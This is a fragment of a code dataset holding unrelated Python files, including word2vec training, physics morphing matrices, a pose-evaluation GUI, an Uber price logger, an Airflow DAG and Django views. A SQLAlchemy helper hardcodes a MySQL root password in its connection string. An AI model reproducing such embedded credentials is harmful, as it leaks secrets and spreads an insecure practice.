User.objects.create(first_name=\"F\", last_name=\"L\")\n\n self.assertEqual(event_waiting_model().objects.filter(processed=False).count(), 1)\n self.assertEqual(ev.objects.get(name=name).waitings.count(), 1)\n self.assertEqual(len(LOGS), 0)\n\n def time_condition(self, instance, changes):\n return True\n orig_time_condition = SampleTimedEvent.time_condition\n SampleTimedEvent.time_condition = time_condition\n\n handle_timed_events.delay()\n\n self.assertEqual(MAILS[0][0], \"Hello Again\")\n self.assertEqual(LOGS[0], \"Timed Event\")\n self.assertEqual(event_waiting_model().objects.filter(processed=False).count(), 0)\n self.assertEqual(ev.objects.get(name=name).waitings.count(), 1)\n self.assertEqual(list(ev.objects.get(name=name).waitings.filter(processed=False)), [])\n\n SampleTimedEvent.time_condition = orig_time_condition\n\n def test_multi_condition_event(self):\n ev = event_model()\n ev.objects.get_or_create(name=\"manyconds\", cls=\"test.test_events.SampleMultiConditionsEvent\",model=\"auth.User\")\n\n user = User.objects.create(first_name=\"F\", last_name=\"L\")\n self.assertEqual(len(CONDITIONS_PROCESSED), 4)\n self.assertEqual(SUCCESS, True)\n\n def test_multi_condition_one_false_event(self):\n ev = event_model()\n ev.objects.get_or_create(name=\"manyconds-onefalse\", cls=\"test.test_events.SampleMultiConditionsOneFalseEvent\",model=\"auth.User\")\n\n user = User.objects.create(first_name=\"F\", last_name=\"L\")\n self.assertEqual(len(CONDITIONS_PROCESSED), 4)\n self.assertEqual(SUCCESS, False)\n\n def test_dirtyfield_integration(self):\n ev = event_model()\n ev.objects.get_or_create(name=\"username-changed\", cls=\"test.test_events.DirtyEvent\", model=\"test.Person\")\n person = Person.objects.create(name=\"John W\")\n self.assertEqual(len(LOGS), 0)\n person.username = \"jow\"\n person.save()\n self.assertEqual(LOGS[0], \"Username changed\")\n person.age = 17\n person.save()\n self.assertEqual(len(LOGS), 1)\n person.username = \"johnw\"\n person.save()\n self.assertEqual(len(LOGS), 2)\n\n\n","repo_name":"futurice/oncondition","sub_path":"test/test_events.py","file_name":"test_events.py","file_ext":"py","file_size_in_byte":9269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74907826132","text":"from collections import Counter\nfrom functools import lru_cache\n\nfrom euler.mathtools import gcf, get_prime_factors\n\n\ndef s(n):\n @lru_cache()\n def _s(n):\n m = 1\n while n > 1:\n m += 1\n n = n // gcf([n, m])\n return m\n\n primes = [k ** v for k, v in Counter(get_prime_factors(n)).items()]\n if len(primes) == 1 and primes[0] == n:\n return _s(n)\n return max([s(p) for p in primes])\n\n\ndef S(n):\n total = 0\n for i in range(2, n + 1):\n total += s(i)\n return total\n\n\ndef main():\n print(S(10 ** 3))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jrmanrique/codingproblems","sub_path":"projecteuler/python/p549.py","file_name":"p549.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5852691108","text":"# Analyze the word coverage.\n# The arguemnt is required for the word list file name.\nimport sys\n\nif len(sys.argv) > 1:\n input_file = sys.argv[1]\n\n perc = [0.9, 0.95, 0.98, 0.99, 1.01]\n\n with open(input_file, \"r\") as fin:\n texts = fin.readlines()\n num = len(texts)\n words = [\"\"] * num\n count = [0] * num\n for i in range(0, num):\n l = texts[i].split()\n words[i] = l[0]\n count[i] = int(l[1])\n for i in range(1, num):\n count[i] += count[i - 1]\n ptr = 0\n complete = count[num - 1]\n for i in range(0, num):\n while count[i] >= complete * perc[ptr]:\n print(words[i] + \" \" + str(perc[ptr] * 100) + \"%\")\n ptr += 1\n","repo_name":"zenith-john/ReadingTools","sub_path":"percentage_analysis.py","file_name":"percentage_analysis.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42588455604","text":"import torch\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom model import SkipGramModel\nfrom data_reader import DataReader, Word2vecDataset\n\nimport os\nimport argparse\nimport pickle\nimport numpy as np\n\n\nparser = argparse.ArgumentParser(description='parameter information')\n\nparser.add_argument('--text', dest='text', type=str,default= \"input.txt\", help='text dataset')\nparser.add_argument('--output', dest='output', default= \"output\" , type=str, help='output dir to save embeddings')\nparser.add_argument('--log_step', dest='log_step', default= 1 , type=int, help='log_step')\nparser.add_argument('--from_scatch', dest='from_scatch', default= 1 , type=int, help='from_scatch or not')\nparser.add_argument('--batch_size', dest='batch_size', default= 1 , type=int, help='batch_size')\nparser.add_argument('--emb_dimension', dest='emb_dimension', default= 100 , type=int, help='emb_dimension')\nparser.add_argument('--verbose', dest='verbose', default= 0, type=int, help='verbose')\nparser.add_argument('--lr', dest='lr', default= 0.001, type=float, help='learning rate')\n\nargs = parser.parse_args()\n\nimport numpy as np\nimport heapq\n\ndef keep_top(arr,k=3): \n smallest = heapq.nlargest(k, arr)[-1] # find the top 3 and use the smallest as cut off\n arr[arr < smallest] = 0 # replace anything lower than the cut off with 0\n return arr\n\n\ndef read_embeddings_from_file(file_name):\n embedding_dict = dict()\n with open(file_name) as f:\n for i,line in enumerate(f):\n if i==0:\n vocab_size,emb_dimension = [int(item) for item in line.split()]\n # embeddings= np.zeros([vocab_size,emb_dimension])\n else:\n tokens = line.split()\n word, vector = tokens[0], [float(num_str) for num_str in tokens[1:]]\n embedding_dict[word] = vector\n return embedding_dict\n\nclass Word2VecChecker:\n def __init__(self,path = \"output\", model_file_name =\"vectors.txt\" ):\n # for time_type in os.listdir(path):\n # if \".DS_Store\" in time_type:\n # continue\n # subpath = os.path.join(path,model_file_name)\n self.embedding_dict = read_embeddings_from_file(os.path.join(path,model_file_name)) # repeating loading, maybe reading a config file is better if you saved\n \n self.skip_gram_model = SkipGramModel(len(self.embedding_dict), args.emb_dimension)\n self.id2word = pickle.load(open(os.path.join(path, \"dict.pkl\"),\"rb\"))\n self.skip_gram_model.load_embeddings(self.id2word,path)\n \n\n # print(embeddings)\n def check_word353(self,word_sim_353_text=\"path for wordsim353\"):\n return\n\n\n\n\nclass Word2VecTrainer:\n def __init__(self, input_file, output_file, emb_dimension=100, batch_size=32, window_size=5, iterations=3,\n initial_lr=0.01, min_count=25,embedding_type =\"default\"):\n\n self.data = DataReader(input_file, min_count)\n dataset = Word2vecDataset(self.data, window_size)\n \n\n self.dataloader = DataLoader(dataset, batch_size=batch_size,\n shuffle=True, num_workers=0, collate_fn=dataset.collate)\n\n \n\n self.output_file_name = os.path.join(output_file,embedding_type)\n if not os.path.exists(output_file):\n os.mkdir(output_file)\n if not os.path.exists(self.output_file_name):\n os.mkdir(self.output_file_name)\n\n self.emb_size = len(self.data.word2id)\n self.emb_dimension = emb_dimension\n self.batch_size = batch_size\n self.iterations = iterations\n self.initial_lr = initial_lr\n\n\n print(args)\n\n self.skip_gram_model = SkipGramModel(self.emb_size, self.emb_dimension,embedding_type)\n\n self.use_cuda = torch.cuda.is_available()\n self.device = torch.device(\"cuda\" if self.use_cuda else \"cpu\")\n if self.use_cuda:\n print(\"using cuda and GPU ....\")\n self.skip_gram_model.cuda()\n\n # load_path = \"{}/{}\".format(self.output_file_name)\n if not args.from_scatch and os.path.exists(self.output_file_name):\n\n print(\"loading parameters ....\")\n self.skip_gram_model.load_embeddings(self.data.id2word,self.output_file_name)\n\n def train(self):\n print(os.path.join(self.output_file_name,\"log.txt\"))\n with open(\"{}/log.txt\".format(self.output_file_name,\"log.txt\"),\"w\") as f: \n for iteration in range(self.iterations):\n\n print(\"Iteration: \" + str(iteration + 1))\n # optimizer = optim.SparseAdam(self.skip_gram_model.parameters(), lr=self.initial_lr)\n optimizer = optim.Adam(self.skip_gram_model.parameters(), lr=self.initial_lr)\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, len(self.dataloader))\n\n running_loss = 0.0\n for i, sample_batched in enumerate(tqdm(self.dataloader)):\n\n if len(sample_batched[0]) > 1:\n\n pos_u = sample_batched[0].to(self.device)\n pos_v = sample_batched[1].to(self.device)\n neg_v = sample_batched[2].to(self.device)\n # print(pos_u.shape)\n \n scheduler.step()\n optimizer.zero_grad()\n\n loss = self.skip_gram_model.forward(pos_u, pos_v, neg_v)\n # print(loss)\n loss.backward()\n optimizer.step()\n\n running_loss = loss.item() #running_loss * 0.9 + loss.item() * 0.1\n if i % args.log_step == 0: # i > 0 and\n f.write(\"Loss in {} steps: {}\\n\".format(i,str(running_loss)))\n # if i > 1000:\n if args.verbose:\n print(\"Loss in {} steps: {}\\n\".format(i,str(running_loss)))\n\n # exit()\n\n self.skip_gram_model.save_embedding(self.data.id2word, self.output_file_name)\n\n\nif __name__ == '__main__':\n for embedding_type in [\"tr\",\"tt\",\"ket\",\"ketxs\", \"row_col_plus\",\"row_col_mul\"]:\n w2v = Word2VecTrainer(input_file=args.text, output_file=args.output,batch_size =args.batch_size,initial_lr = args.lr,embedding_type= embedding_type)\n w2v.train()\n # checker = Word2VecChecker()\n\n","repo_name":"wabyking/TinyEmbedding","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":6456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"2666195188","text":"import numpy as np\nfrom sympy import Poly, symbols, expand\nfrom numpy import Infinity, linalg as la\n\nclass Morpher:\n\n def __init__(self, n_parameters=2):\n self.components = None\n self.n_components = None\n self.morphing_matrix = None\n self.n_benchmarks = None\n self.n_parameters = n_parameters\n self.gp = None # production\n self.gd = None # decay\n self.gs =None # combine\n self.condition_number = None\n\n # basis, each row is a benchmark, Example: g1_1 = basis[0, 0], g2_1 = basis[0, 1]\n def set_basis(self, basis_p = None, basis_d = None, basis_s = None):\n\n if basis_p is None and basis_d is None and basis_s is None:\n raise Exception('No basis is given')\n\n if basis_s is not None: \n self.basis = basis_s\n self.gs = basis_s\n self.n_benchmarks = len(basis_s[0])\n\n if basis_p is not None:\n self.gp = basis_p\n self.n_benchmarks = len(basis_p[0])\n \n if basis_d is not None:\n self.gd = basis_d\n self.n_benchmarks = len(basis_d[0])\n\n if basis_s is not None and basis_p is not None and basis_d is not None:\n assert len(basis_p[0]) == len(basis_d[0]) == len(basis_s[0]), \"the number of basis points in production, decay and combine should be the same\"\n self.n_benchmarks = len(basis_p[0])\n return\n elif basis_s is not None and basis_p is not None:\n assert len(basis_p[0]) == len(basis_s[0]), \"the number of basis points in production and combine should be the same\"\n self.n_benchmarks = len(basis_p[0])\n return\n elif basis_s is not None and basis_d is not None:\n assert len(basis_d[0]) == len(basis_s[0]), \"the number of basis points in decay and combine should be the same\"\n self.n_benchmarks = len(basis_d[0])\n return\n elif basis_p is not None and basis_d is not None:\n assert len(basis_p[0]) == len(basis_d[0]), \"the number of each basis points in production and decay should be the same\"\n self.n_benchmarks = len(basis_p[0])\n return\n\n # get the minimal number of indepedent samples\n def get_Nmin(self, ns, np, nd):\n res1 = (ns*(ns+1) * (ns+2) * ((ns+3) + 4 * (np+nd)))/24\n res2 = (ns*(ns+1) * np*(np+1) + ns*(ns+1)*nd*(nd+1) + np*(np+1)*nd*(nd+1))/4 \n res3 = ns*np*nd*(ns+np+nd+3)/2\n return res1 + res2 + res3\n\n def calculate_morphing_matrix(self):\n n_gp = 0\n n_gd = 0\n n_gs = 0\n\n if self.gp is not None:\n n_gp = len(self.gp) # n_gp == n for total of gp_1 ... gp_n\n if self.gd is not None:\n n_gd = len(self.gd)\n if self.gs is not None:\n n_gs = len(self.gs)\n \n assert self.components is not None, \"No components are given\"\n\n # the first n_gd components are for gd, the next n_gp components in self.compoents are for gp, the last n_gc components are for gc\n assert (n_gp + n_gd + n_gs) == len(self.components[0]), \"The number of coupling parameters in basis is not equal to the number of components\"\n\n inv_morphing_submatrix = np.zeros([self.n_benchmarks, self.n_components])\n\n for b in range(self.n_benchmarks):\n for c in range(self.n_components):\n factor = 1.0\n if n_gd != 0: # if gd coupling exists\n for j in range(n_gd):\n factor *= float(self.gd[j, b] ** self.components[c, j])\n if n_gp != 0: # if gp coupling exists\n for i in range(n_gp):\n if n_gd != 0:\n factor *= float(self.gp[i,b] ** self.components[c,i+n_gd] )\n else:\n factor *= float(self.gp[i,b] ** self.components[c,i])\n if n_gs != 0: # if gc coupling exists\n for k in range(n_gs):\n if n_gd != 0 and n_gp != 0: # add the length of gd and gp to index if they are not none\n factor *= float(self.gs[k,b] ** self.components[c,k+n_gd+n_gp])\n elif n_gd != 0:\n factor *= float(self.gs[k,b] ** self.components[c,k+n_gd])\n elif n_gp != 0:\n factor *= float(self.gs[k,b] ** self.components[c,k+n_gp])\n else:\n factor *= float(self.gs[k,b] ** self.components[c,k])\n inv_morphing_submatrix[b, c] = factor\n\n\n morphing_submatrix = inv_morphing_submatrix.T\n self.matrix_before_invertion = morphing_submatrix\n # QR factorization\n q, r= np.linalg.qr(morphing_submatrix, 'reduced')\n self.condition_number = la.cond(r)\n print(\"R shape: \", r.shape)\n self.morphing_matrix = np.dot(np.linalg.pinv(r), q.T)\n return self.morphing_matrix\n\n\n def find_components(self, max_overall_power = float('inf'), Nd = 0, Np = 0, Ns = 0):\n lst = []\n\n #number of couplings\n gp = symbols('gp:15')\n gd = symbols('gd:15')\n gs = symbols('gs:15')\n\n prod = sum(gp[:Np] + gs[:Ns]) #sum of couplings in production\n dec = sum(gd[:Nd] + gs[:Ns]) #sum of couplings in decay\n\n if (Nd==0 and Ns==0):\n dec = 1\n if (Np==0 and Ns==0):\n prod = 1\n f = expand((prod)**2*(dec)**2) #contribution to matrix element squared\n\n mono=Poly(f).terms(); #list of tuples containing monomials\n\n for i in range(0, len(mono)):\n lst.append(mono[i][0])\n\n #array of coupligs powers in the alphabetic order gd0, gd1, ..., gp0, gp1, ..., gs0, gs1, ...\n arr = np.array(lst)\n len_arr = len(arr)\n\n\n #cut over power_max\n power_max = max_overall_power\n\n lst_pos = []\n\n # Find the positions of the subarray that has elements exceed power_max\n for j in range(0, len_arr):\n for k in range(1, Nd):\n if(arr[j, k] > power_max):\n lst_pos.append(j)\n break \n\n for k in range(Nd+1, Nd+Np):\n if(arr[j, k] > power_max):\n lst_pos.append(j)\n break\n \n for k in range(Nd+Np+1, Nd+Np+Ns):\n if(arr[j, k] > power_max):\n lst_pos.append(j)\n break\n\n # Remove duplicates of the position\n lst_pos = np.unique(lst_pos)\n\n\n # Check if there are any components exceeding the maximal power, if not arr_pmax = arr\n if lst_pos.size != 0:\n arr_pmax = np.delete(arr, lst_pos, axis=0)\n else:\n arr_pmax = arr\n\n len_arr_pmax = len(arr_pmax)\n \n self.components = arr_pmax\n self.n_components = len_arr_pmax\n\n return arr_pmax\n\n \n\n\n\nif __name__==\"__main__\":\n\n # In the order of gd, gp, gc, the code will determine the number of each coupling parameter based on gd, gp, gc...\n n_d = 0\n n_p = 0\n n_s = 2\n\n # specify gd, gp, gc separately\n gd = None # np.array([[1,1,1,1,1,1]])\n gp = None # np.array([[0.7071, 0.7071, 0.7071, 0.7071, 0.7071, 0.7071], [0, 4.2426, 0, 4.2426, -4.2426, 0], [0, 0, 4.2426, 4.2426, 0, -4.2426]])\n gs = np.array([[1,1,1,1,1, 1, 1], [-5, -4, -3, -2, -1, 0, 1]])\n\n # n_parameters here should equal to n_d + n_p + n_c\n morpher = Morpher(n_parameters=2)\n\n # Print minimum number of samples needed\n print(\"minimum number of samples required:\\n\", morpher.get_Nmin(n_s, n_p, n_d))\n\n # Print the couplings\n if gd is not None:\n print(\"gd:\\n\", gd.T)\n if gp is not None:\n print(\"gp:\\n\", gp.T)\n if gs is not None:\n print(\"gs:\\n\", gs.T)\n\n # find the components with n_d, n_p, n_s\n this_components = morpher.find_components( Nd = n_d, Np = n_p, Ns = n_s)\n\n print(\"Powers of components:\\n\", this_components)\n # print(len(this_components))\n morpher.set_basis( basis_p=gp, basis_d=gd, basis_s = gs)\n print(\"Matrix:\\n\",morpher.calculate_morphing_matrix())\n print(\"Condition number:\\n\", morpher.condition_number)\n\n\n # Test find_components with overall max powers and parameter_max_power\n max_power = 2\n\n n_p = 2\n n_d = 2\n n_s = 2\n\n print(\"\\n\\nFind components with overall max power = \" + str(max_power) + \", parameter max = :\\n\", \n morpher.find_components(max_overall_power = max_power, Nd = n_d, Np = n_p, Ns = n_s))\n\n print(\"Count(n_components): \\n\", morpher.n_components)\n\n \n\n","repo_name":"wangzhe04/Morphing_draft","sub_path":"Matrix with multiple inputs.py","file_name":"Matrix with multiple inputs.py","file_ext":"py","file_size_in_byte":8655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"34051710942","text":"import os\nimport yaml\nimport sys\nimport shutil\nimport utils.tools as tools\n\n\nclass Option(object):\n def __init__(self, config_path, args):\n self.config_path = config_path\n self.config = yaml.safe_load(open(config_path, 'r'))\n\n # General options\n self.seed = 1\n self.gpu = None\n self.rank = 0 # rank of distributed thread\n self.world_size = 1\n self.distributed = False\n self.dist_backend = 'nccl'\n self.dist_url = 'env://'\n self.num_workers = 4 # number of threads used for data loading\n\n # Data config\n self.dataset = self.config['dataset']\n self.n_classes = self.config['n_classes']\n self.data_root = None\n self.has_label = self.config['has_label']\n self.use_mini_version = False\n self.use_trainval = self.config.get('use_trainval', False)\n\n # Train config\n self.val_only = False\n self.val_frequency = self.config.get('val_frequency', 10)\n self.test_split = False\n self.n_epochs = self.config['n_epochs'] # number of total epochs\n self.batch_size = self.config['batch_size'] # mini-batch size\n self.batch_size_val = self.config.get('batch_size_val', 1) # validation batch size\n self.lr = self.config['lr']\n self.warmup_epochs = self.config.get('warmup_epochs', 10)\n self.log_frequency = 100\n self.train_result_frequency = self.config.get('train_result_frequency', 100)\n self.use_fp16 = self.config.get('use_fp16', False) # for mixed-precision training\n\n\n # Model config\n self.vit_backbone = self.config.get('vit_backbone', 'vit_small_patch16_384')\n self.in_channels = self.config.get('in_channels', 5)\n self.patch_size = self.config.get('patch_size', [2, 8])\n self.patch_stride = self.config.get('patch_stride', [2, 8])\n self.image_size = self.config.get('image_size', [32, 384])\n self.window_size = self.config.get('window_size', [32, 384])\n self.window_stride = self.config.get('window_stride', [32, 256])\n self.original_image_size = self.config.get('original_image_size', [32, 2048])\n\n # Freeze encoder params\n self.freeze_vit_encoder = self.config.get('freeze_vit_encoder', False)\n self.unfreeze_layernorm = self.config.get('unfreeze_layernorm', False)\n self.unfreeze_attn = self.config.get('unfreeze_attn', False)\n self.unfreeze_ffn = self.config.get('unfreeze_ffn', False)\n\n # Stem\n self.conv_stem = self.config.get('conv_stem', 'ConvStem')\n self.stem_base_channels = self.config.get('stem_base_channels', 32)\n self.D_h = self.config.get('D_h', 256)\n\n # Decoder\n self.decoder = self.config.get('decoder', 'up_conv')\n self.skip_filters = self.config.get('skip_filters', 0)\n\n # 3D refiner\n self.use_kpconv = self.config.get('use_kpconv', True)\n\n\n # Checkpoint model\n self.checkpoint = self.config.get('checkpoint', None)\n self.pretrained_model = self.config.get('pretrained_model', None)\n self.finetune_pretrained_model = self.config.get('finetune_pretrained_model', False)\n\n # Loading pre-trained patch and positional embeddings\n self.reuse_pos_emb = self.config.get('reuse_pos_emb', False)\n self.reuse_patch_emb = self.config.get('reuse_patch_emb', False)\n\n\n # Save results\n self.id = self.config['id'] # name to identify the run\n self.save_eval_results = False\n\n self.save_path = args.save_path\n self.save_path = os.path.join(self.save_path, 'log_{}'.format(self.id))\n\n\n # -----------------------------------------------------\n # Check options\n\n # There is no skip connection if no convolutional stem is used or the linear decoder is used.\n # (If no convolutional stem is used, then we use PatchEmbedding istead).\n if self.conv_stem == 'none' or self.decoder == 'linear':\n assert self.skip_filters == 0\n\n # If there is a skip connection, it's channel dim has to be D_h.\n if self.skip_filters > 0:\n assert self.skip_filters == self.D_h\n\n # If a convolutional stem is used, patch_size = patch_stride and there is no patch embedding\n # so we can't load pre-trained weights in the patch embeddings.\n if self.conv_stem != 'none':\n assert self.patch_size == self.patch_stride\n assert self.reuse_patch_emb == False\n\n # When using the KPConv layer, the decoder has to be up_conv.\n if self.use_kpconv:\n assert self.decoder == 'up_conv'\n\n # The following hyperparameters have to be tuples or lists with two elements.\n tuple_list = [self.patch_size, self.patch_stride,\n self.image_size, self.window_size, self.window_stride,\n self.original_image_size]\n for i in tuple_list:\n assert isinstance(i, (list, tuple))\n assert len(i) == 2\n\n # No patch and positional embeddings are loaded when training from scratch.\n if self.pretrained_model == None:\n assert self.reuse_patch_emb == self.reuse_pos_emb == False\n\n\n def check_path(self):\n if tools.is_main_process():\n if os.path.exists(self.save_path):\n print('WARNING: Directory exist: {}'.format(self.save_path))\n\n if not os.path.isdir(self.save_path):\n os.makedirs(self.save_path)\n","repo_name":"valeoai/rangevit","sub_path":"option.py","file_name":"option.py","file_ext":"py","file_size_in_byte":5494,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"67"} +{"seq_id":"27391959574","text":"# This will import all the widgets \n# and modules which are available in \n# tkinter and ttk module \nimport sys\nimport cv2\nimport numpy as np\nfrom tkinter import *\nfrom tkinter.ttk import *\nfrom tkinter import messagebox\nfrom PIL import ImageTk, Image\n\nsys.path.append('/home/kevin/projects/exercise_pose_evaluation_machine')\nfrom posemachine import PoseMachine\nfrom list_manipulator import get_exact_frames, pop_all\nfrom detectors_keras_api.lstm_model_keras import ExerciseEvaluator\n\n\n\ndef pose_evaluator():\n # Creates a Tk() object \n master = Tk() \n\n # Sets the geometry of main \n # Root window \n master.geometry(\"800x627\") \n master.title(\"Pose Machine - Pose Evaluator\")\n panel = Label(master, text =\"Pose Evaluator\")\n panel.pack(side = \"top\", fill = \"both\", expand = \"yes\")\n\n cap=cv2.VideoCapture(0)\n\n def open_new_window():\n cap.release()\n master.destroy()\n\n pm = PoseMachine.get_instance()\n exercise_evaluator = ExerciseEvaluator(pm.exercise_type)\n all_exercise_reps = []\n\n def video_stream():\n start = False\n end = False\n # Read frames\n # If camera not available print error and destroy\n if cap.read()[0]==False:\n cap.release()\n master.destroy()\n messagebox.showerror(\"Error\", \"Error when processing: Camera is not available!\")\n exit()\n\n # Read frames if not exists\n _, frame = cap.read()\n cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\n\n # Process frames here\n # Send to external function\n # Get keypoint and ID data\n list_of_keypoints = pm.kp_extractor.get_keypoints_and_id_from_img(frame)\n\n try: \n if list_of_keypoints == None:\n raise Exception(\"List of keypoints cannot be None\")\n x = list_of_keypoints[0]\n if x['ID'] == pm.target_id:\n print(\"masuk sini gak???\")\n # Transform keypoints list to array\n keypoints = np.array(x['Keypoints']).flatten()\n\n # Get prediction\n prediction = pm.init_pose_detector.predict(np.array([keypoints]))\n\n # If starting position is found and start is True then mark end\n if prediction == pm.exercise_type and start:\n end = True\n \n # If starting position is found and end is False then mark start\n if prediction == pm.exercise_type and not end:\n start = True\n\n # If the found counter is more than one\n # Delete frames and restart collection\n if len(all_exercise_reps) >= 1:\n pop_all(all_exercise_reps)\n\n # Add frames\n all_exercise_reps.append(pm.kp_extractor.get_keypoints_and_id_from_img_without_normalize(frame))\n\n # If both start and end was found \n # send data to LSTM model and Plotter\n if start and end:\n # Send data\n x_low, y_low, _, _ = pm.kp_extractor.get_min_max_frames(all_exercise_reps)\n scaler = make_min_max_scaler(all_exercise_reps, x_low, y_low)\n normalized_reps = normalize_keypoints_from_external_scaler(all_exercise_reps, scaler)\n reshaped_normalized_reps = [np.array(frames).flatten() for frames in normalized_reps]\n\n exercise_evaluator.predict(get_exact_frames(reshaped_normalized_reps))\n # Pop all frames in list\n pop_all(all_exercise_reps)\n\n # Restart found_counter, start flag and end flag\n start = True\n end = False\n\n # Add frames\n all_exercise_reps.append(keypoints)\n except Exception as e:\n print(e)\n\n # Convert the Image object into a TkPhoto object\n im = Image.fromarray(cv2image)\n imgtk = ImageTk.PhotoImage(\n im.resize(\n (800, 600),\n Image.ANTIALIAS\n )\n )\n\n # Show image in panel\n panel.imgtk = imgtk\n panel.configure(image=imgtk)\n panel.after(10, video_stream) \n\n video_stream()\n master.mainloop()","repo_name":"warteg-biru/exercise-pose-evaluation-machine","sub_path":"app/tkinter/pose_evaluator.py","file_name":"pose_evaluator.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"40083089130","text":"import mysql.connector\nimport numpy as np\nimport pandas as pd\nfrom uber_rides.session import Session\nfrom uber_rides.client import UberRidesClient\nfrom time import sleep\nimport datetime\nimport time\nfrom config import MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE, UBER_API_TOKEN\n\ndef get_uber_estimate(sla, slo, ela, elo):\n session = Session(server_token='TOKEN')\n client = UberRidesClient(session)\n response = client.get_price_estimates(\n start_latitude=sla,\n start_longitude=slo,\n end_latitude=ela,\n end_longitude=elo,\n seat_count=2\n )\n return response.json.get('prices')\n\ndef convert_to_dataframe(estimate):\n return pd.DataFrame.from_dict(pd.json_normalize(estimate), orient='columns')\n\ndef calculate_metrics(df):\n ts = time.time()\n st = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n name = df.loc[0][1]\n distance = df.loc[0][2]\n duration = df.loc[0][3] / 60\n low = np.float64(df.loc[0][7]).item()\n high = np.float64(df.loc[0][5]).item()\n avg = np.mean([low, high])\n surge = np.float64(df.loc[0][10]).item()\n return (name, distance, duration, low, high, avg, surge, st)\n\ndef insert_into_db(cursor, data):\n add_values = (\"INSERT INTO uber_request \"\n \"(display_name, duration, distance, estimate, low_estimate, hight_estimate, average, surge) \"\n \"VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\")\n cursor.execute(add_values, data)\n\nif __name__ == \"__main__\":\n sla = -33.371552\n slo = -70.57803209999997\n ela = -33.4046849\n elo = -70.59926669999999\n\n for i in range(3000):\n cnx = mysql.connector.connect(user='your_user', database='your_db', password='your_pass', host='localhost')\n cursor = cnx.cursor()\n \n estimate = get_uber_estimate(sla, slo, ela, elo)\n df = convert_to_dataframe(estimate)\n data = calculate_metrics(df)\n \n print(f\"{data[0]} | Dist.={data[1]} | Durat.={data[2]} | Low={data[3]} | High={data[4]} | AVG={data[5]} | Surge={data[6]} | {data[7]}\")\n \n insert_into_db(cursor, data)\n \n cnx.commit()\n cursor.close()\n cnx.close()\n \n sleep(0.5)\n\n print(\"Loop end .....\")\n","repo_name":"ehernandezvilla/uber-estimate","sub_path":"estimator.py","file_name":"estimator.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28804594390","text":"# If the file contains the words airflow or dag, the scheduler will try to load the file\nfrom airflow import DAG\nfrom datetime import datetime, timedelta\n\n# Use with Dag(...) as dag: avoiding dag=dag\n# Using same dag_id the UI Will display one of them randomly\n# Each task could have its own start_date...\n\n# Using timedelta instead of cron expression the process will calculate the start time base on the time when the\n# scheduler found the file\n# dagrun_timeout fail if the dag take X time\n# catchup default True (Ponerse al día)\nfrom airflow.operators.dummy import DummyOperator\n\nwith DAG(dag_id=\"3_3_getting_started\",\n description=\"Our first DAG. The *UI* displays **this** string with _markdown format_\",\n start_date=datetime(2021, 11, 4), schedule_interval=\"@daily\", dagrun_timeout=timedelta(minutes=10),\n tags=[\"arch\", \"fundamentals\"], catchup=False) as dag:\n\n # Every Dag's task should have a unique task_id\n start = DummyOperator(\n task_id='start'\n )\n","repo_name":"jbeltranleon/dags-airflow-certification","sub_path":"dags/3_3_getting_started.py","file_name":"3_3_getting_started.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26625732048","text":"# coding: utf-8\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom contextlib import contextmanager\n\n\nclass OperateDatabase(object):\n\tlink_str = \"mysql://root:Callkin@123456@192.168.1.10:3306/fmea?charset=utf8mb4\"\n\tengine = create_engine(link_str)\n\tsession = scoped_session(sessionmaker(bind=engine, expire_on_commit=False))\n\n\t@property\n\tdef get_session(self):\n\t\treturn self.session()\n\n\t@contextmanager\n\tdef session_scope(self):\n\t\tsession = self.get_session\n\t\ttry:\n\t\t\tyield session\n\t\t\tsession.commit()\n\t\texcept:\n\t\t\tsession.rollback()\n\t\t\traise\n\t\tfinally:\n\t\t\tsession.close()\n\n\nif __name__ == '__main__':\n\tpass\n","repo_name":"jia-zhengwei/my_pro","sub_path":"my_pro/dbctrl/mysql_con.py","file_name":"mysql_con.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"18603751241","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.core import serializers\n\nimport json\nimport random\n\nfrom kiosk.models import Kiosk\nfrom youtube.models import Youtube\nfrom schedule.models import Schedule\n\n# Create your views here.\ndef kiosk(request):\n\treturn render(request, \"kiosk.html\")\n\ndef data(request):\n\tdata = {}\n\tkiosk = {}\n\n\tlast_update = []\n\n\tkiosk_objects = Kiosk.objects.all()[:1]\n\turl = kiosk_objects[0].url\n\tlast_update.append(kiosk_objects[0].updated_at)\n\n\tyoutube_objects = Youtube.objects.all()\n\tplaylist = []\n\tfor youtube in youtube_objects:\n\t\tif youtube.active == True :\n\t\t\tyoutube_url = youtube.url\n\t\t\tvideo_id = youtube_url.split(\"?v=\")\n\t\t\tvideo_id = 